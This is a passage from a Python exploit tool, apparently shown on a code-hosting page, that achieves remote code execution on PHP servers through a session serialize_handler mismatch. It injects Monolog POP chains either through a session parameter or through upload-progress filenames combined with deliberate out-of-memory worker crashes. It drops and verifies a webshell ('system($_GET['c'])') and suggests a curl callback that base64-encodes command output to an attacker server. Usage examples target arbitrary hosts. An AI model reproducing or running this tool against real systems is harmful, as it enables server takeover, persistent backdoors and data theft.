post_body = encoded_param + encoded_value
|
||||
|
||||
resp = http_post_form(
|
||||
inj_host, inj_port, inj_tls, inj_path,
|
||||
post_body,
|
||||
cookies=f"PHPSESSID={sid}",
|
||||
timeout=10,
|
||||
)
|
||||
sc = status_code(resp)
|
||||
print(f" Response: HTTP {sc}")
|
||||
if sc not in (200, 301, 302, 303, 204):
|
||||
print(f" [!] Unexpected status. Session may not have been written.")
|
||||
|
||||
print("[*] Phase 3: triggering deserialization via handler mismatch...")
|
||||
print(f" GET {args.trigger_url} (php handler reads session with pipe delimiter)")
|
||||
|
||||
resp2 = http_get(
|
||||
trg_host, trg_port, trg_tls, trg_path,
|
||||
cookies=f"PHPSESSID={sid}",
|
||||
timeout=10,
|
||||
)
|
||||
sc2 = status_code(resp2)
|
||||
body2 = body_of(resp2).decode(errors="replace")
|
||||
print(f" Response: HTTP {sc2}")
|
||||
|
||||
return sid, sc2, body2
|
||||
|
||||
|
||||
def run_progress(args, chain_bytes):
|
||||
"""Progress mode: inject via upload progress filename + OOM crash."""
|
||||
wr = urlparse(args.write_url)
|
||||
trg = urlparse(args.trigger_url)
|
||||
wr_tls = wr.scheme == "https"
|
||||
trg_tls = trg.scheme == "https"
|
||||
wr_host = wr.hostname or "127.0.0.1"
|
||||
trg_host = trg.hostname or "127.0.0.1"
|
||||
wr_port = wr.port or (443 if wr_tls else 80)
|
||||
trg_port = trg.port or (443 if trg_tls else 80)
|
||||
wr_path = wr.path or "/"
|
||||
trg_path = trg.path or "/"
|
||||
|
||||
if b"\x00" in chain_bytes:
|
||||
print("[!] Chain contains NULL bytes. Progress mode cannot inject NULLs")
|
||||
print(" via multipart filenames (PHP truncates at \\x00).")
|
||||
print(" Use --mode inject, or provide a NULL-free chain.")
|
||||
sys.exit(1)
|
||||
|
||||
sid = os.urandom(16).hex()
|
||||
print(f"[*] Session ID: {sid}")
|
||||
|
||||
print("[*] Phase 1: injecting chain via upload progress + OOM crash...")
|
||||
print(f" Fields: {args.fields} x {args.field_size}B")
|
||||
sc = progress_inject_oom(
|
||||
wr_host, wr_port, wr_tls, wr_path, sid,
|
||||
chain_bytes, args.fields, args.field_size,
|
||||
)
|
||||
if sc in (502, 0):
|
||||
print(f" [+] Worker crashed (HTTP {sc or 'reset'})")
|
||||
elif sc == 500:
|
||||
print(f" [+] HTTP 500 (OOM during script)")
|
||||
else:
|
||||
print(f" [!] HTTP {sc} — may not have OOMed")
|
||||
|
||||
print(" Waiting for new worker...")
|
||||
time.sleep(2)
|
||||
for _ in range(8):
|
||||
try:
|
||||
r = http_get(wr_host, wr_port, wr_tls, wr_path, timeout=3)
|
||||
if status_code(r) in (200, 301, 302, 403, 404):
|
||||
print(" New worker ready")
|
||||
break
|
||||
except Exception:
|
||||
pass
|
||||
time.sleep(1)
|
||||
|
||||
print("[*] Phase 2: triggering deserialization via handler mismatch...")
|
||||
resp = http_get(
|
||||
trg_host, trg_port, trg_tls, trg_path,
|
||||
cookies=f"PHPSESSID={sid}",
|
||||
timeout=10,
|
||||
)
|
||||
sc2 = status_code(resp)
|
||||
body2 = body_of(resp).decode(errors="replace")
|
||||
print(f" Response: HTTP {sc2}")
|
||||
|
||||
return sid, sc2, body2
|
||||
|
||||
|
||||
def run(args):
|
||||
# Build or load chain
|
||||
if args.chain_file:
|
||||
with open(args.chain_file, "rb") as f:
|
||||
chain_bytes = f.read().rstrip(b"\n\r")
|
||||
if not chain_bytes.startswith(b"O:") and not chain_bytes.startswith(b"a:"):
|
||||
try:
|
||||
chain_bytes = base64.b64decode(chain_bytes)
|
||||
except Exception:
|
||||
pass
|
||||
print(f"[*] Loaded chain from {args.chain_file} ({len(chain_bytes)} bytes)")
|
||||
elif args.chain in CHAINS:
|
||||
info = CHAINS[args.chain]
|
||||
if info["type"] == "fw":
|
||||
if not args.write_path:
|
||||
print(f"[!] --write-path required for {args.chain} chain")
|
||||
print(" e.g., --write-path /var/www/html/shell.php")
|
||||
sys.exit(1)
|
||||
shell = args.shell_code or "<?php system($_GET['c']); ?>"
|
||||
chain_bytes = info["fn"](args.write_path, shell)
|
||||
print(f"[*] Built {args.chain} chain ({info['lib']}): writes to {args.write_path}")
|
||||
else:
|
||||
if not args.cmd:
|
||||
print(f"[!] --cmd required for {args.chain} chain")
|
||||
sys.exit(1)
|
||||
chain_bytes = info["fn"](args.cmd)
|
||||
print(f"[*] Built {args.chain} chain ({info['lib']}): system('{args.cmd}')")
|
||||
else:
|
||||
print("[!] Specify --chain or --chain-file")
|
||||
print(" Available chains: " + ", ".join(CHAINS.keys()))
|
||||
sys.exit(1)
|
||||
|
||||
print(f"[*] Chain size: {len(chain_bytes)} bytes")
|
||||
has_nulls = b"\x00" in chain_bytes
|
||||
if has_nulls:
|
||||
print("[*] Chain contains NULL bytes (normal for protected/private props)")
|
||||
print()
|
||||
|
||||
print("=" * 65)
|
||||
print(" PHP Session Deserialization RCE — Handler Mismatch")
|
||||
print(" No LFI. No FPM dependency.")
|
||||
print("=" * 65)
|
||||
print(f" Mode : {args.mode}")
|
||||
if args.mode == "inject":
|
||||
print(f" Inject URL : {args.inject_url}")
|
||||
print(f" Inject param: {args.inject_param}")
|
||||
else:
|
||||
print(f" Write URL : {args.write_url}")
|
||||
print(f" Trigger URL: {args.trigger_url}")
|
||||
if args.chain_file:
|
||||
print(f" Chain : {args.chain_file}")
|
||||
else:
|
||||
print(f" Chain : {args.chain}")
|
||||
print()
|
||||
|
||||
if args.mode == "inject":
|
||||
sid, sc, body = run_inject(args, chain_bytes)
|
||||
else:
|
||||
sid, sc, body = run_progress(args, chain_bytes)
|
||||
|
||||
# Post-exploit for fw chains: verify the webshell was written
|
||||
chain_info = CHAINS.get(args.chain, {})
|
||||
if chain_info.get("type") == "fw" and args.write_path:
|
||||
print()
|
||||
print("[*] Phase 4: verifying webshell...")
|
||||
|
||||
# Guess the webshell URL from write_path
|
||||
# /var/www/html/shell.php -> /shell.php
|
||||
shell_rel = args.write_path
|
||||
for prefix in ["/var/www/html", "/var/www", "/srv/http",
|
||||
"/usr/share/nginx/html"]:
|
||||
if shell_rel.startswith(prefix):
|
||||
shell_rel = shell_rel[len(prefix):]
|
||||
break
|
||||
|
||||
trg = urlparse(args.trigger_url)
|
||||
trg_tls = trg.scheme == "https"
|
||||
trg_host = trg.hostname or "127.0.0.1"
|
||||
trg_port = trg.port or (443 if trg_tls else 80)
|
||||
|
||||
verify_url = shell_rel + "?c=id"
|
||||
try:
|
||||
resp = http_get(trg_host, trg_port, trg_tls, verify_url, timeout=5)
|
||||
vbody = body_of(resp).decode(errors="replace")
|
||||
if "uid=" in vbody:
|
||||
print(f" [+] Webshell works!")
|
||||
print()
|
||||
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
|
||||
print(vbody.strip())
|
||||
print("[+] ══════════════════════════════════════════")
|
||||
print()
|
||||
print(f"[+] Webshell: {trg.scheme}://{trg_host}:{trg_port}{shell_rel}?c=CMD")
|
||||
return
|
||||
else:
|
||||
print(f" [!] Webshell not responding yet (HTTP {status_code(resp)})")
|
||||
except Exception as e:
|
||||
print(f" [!] Could not verify: {e}")
|
||||
|
||||
if chain_info.get("type") == "cmd":
|
||||
# Command output may be in the trigger response itself,
|
||||
# or it may have run as a side effect (no visible output).
|
||||
print()
|
||||
if body.strip():
|
||||
print("[+] Trigger response body:")
|
||||
print(body[:500])
|
||||
print()
|
||||
print("[*] Command was executed during deserialization (__destruct).")
|
||||
print(" If output is not visible, use a callback payload:")
|
||||
print(f" --cmd 'curl http://YOUR_SERVER/?r=$(id|base64)'")
|
||||
|
||||
print()
|
||||
print("[*] Deserialization triggered. If no RCE:")
|
||||
print(" - Verify the handler mismatch (inject=php_serialize, trigger=php)")
|
||||
print(" - Verify the POP chain matches the target's libraries")
|
||||
print(" - Try phpggc to generate a chain for the exact versions:")
|
||||
print(" phpggc -l | grep RCE")
|
||||
print(f" - Session ID was: {sid}")
|
||||
|
||||
|
||||
def main():
|
||||
ap = argparse.ArgumentParser(
|
||||
description="PHP Session Deserialization RCE via Handler Mismatch",
|
||||
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||
epilog="""
|
||||
No LFI. No FPM. RCE via session.serialize_handler mismatch.
|
||||
|
||||
Examples:
|
||||
# Inject mode with Monolog file write (drops webshell):
|
||||
%(prog)s --inject-url http://target/save.php \\
|
||||
--inject-param data \\
|
||||
--trigger-url http://target/view.php \\
|
||||
--chain monolog-fw --write-path /var/www/html/s.php
|
||||
|
||||
# Inject mode with direct command execution:
|
||||
%(prog)s --inject-url http://target/save.php \\
|
||||
--inject-param data \\
|
||||
--trigger-url http://target/view.php \\
|
||||
--chain monolog-cmd --cmd 'id'
|
||||
|
||||
# Custom phpggc chain (raw or base64):
|
||||
phpggc Monolog/RCE1 system id > chain.bin
|
||||
%(prog)s --inject-url http://target/save.php \\
|
||||
--inject-param data \\
|
||||
--trigger-url http://target/view.php \\
|
||||
--chain-file chain.bin
|
||||
|
||||
# Progress mode (no app session injection needed):
|
||||
%(prog)s --mode progress \\
|
||||
--write-url http://target/serialize_ep.php \\
|
||||
--trigger-url http://target/php_ep.php \\
|
||||
--chain-file chain_nofull.bin
|
||||
""")
|
||||
ap.add_argument("--mode", choices=["inject", "progress"], default="inject",
|
||||
help="Injection mode (default: inject)")
|
||||
ap.add_argument("--inject-url",
|
||||
help="URL of endpoint that stores POST data in session "
|
||||
"(must use php_serialize handler)")
|
||||
ap.add_argument("--inject-param", default="data",
|
||||
help="POST parameter stored in $_SESSION (default: data)")
|
||||
ap.add_argument("--write-url",
|
||||
help="URL of php_serialize endpoint (progress mode)")
|
||||
ap.add_argument("--trigger-url", required=True,
|
||||
help="URL of endpoint using default php handler "
|
||||
"(triggers deserialization)")
|
||||
ap.add_argument("--chain", choices=list(CHAINS.keys()),
|
||||
help="Built-in POP chain")
|
||||
ap.add_argument("--chain-file",
|
||||
help="Custom serialized chain file (e.g., phpggc output)")
|
||||
ap.add_argument("--write-path",
|
||||
help="Target file path for monolog-fw chain")
|
||||
ap.add_argument("--shell-code",
|
||||
help="PHP code for webshell (monolog-fw, default: system)")
|
||||
ap.add_argument("--cmd", help="Command for monolog-cmd chain")
|
||||
ap.add_argument("--fields", type=int, default=30000,
|
||||
help="OOM pressure fields for progress mode (default: 30000)")
|
||||
ap.add_argument("--field-size", type=int, default=512,
|
||||
help="Bytes per OOM field (default: 512)")
|
||||
args = ap.parse_args()
|
||||
|
||||
if args.mode == "inject" and not args.inject_url:
|
||||
print("[!] --inject-url required for inject mode")
|
||||
sys.exit(1)
|
||||
if args.mode == "progress" and not args.write_url:
|
||||
print("[!] --write-url required for progress mode")
|
||||
sys.exit(1)
|
||||
if not args.chain and not args.chain_file:
|
||||
print("[!] Specify --chain or --chain-file")
|
||||
sys.exit(1)
|
||||
|
||||
run(args)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user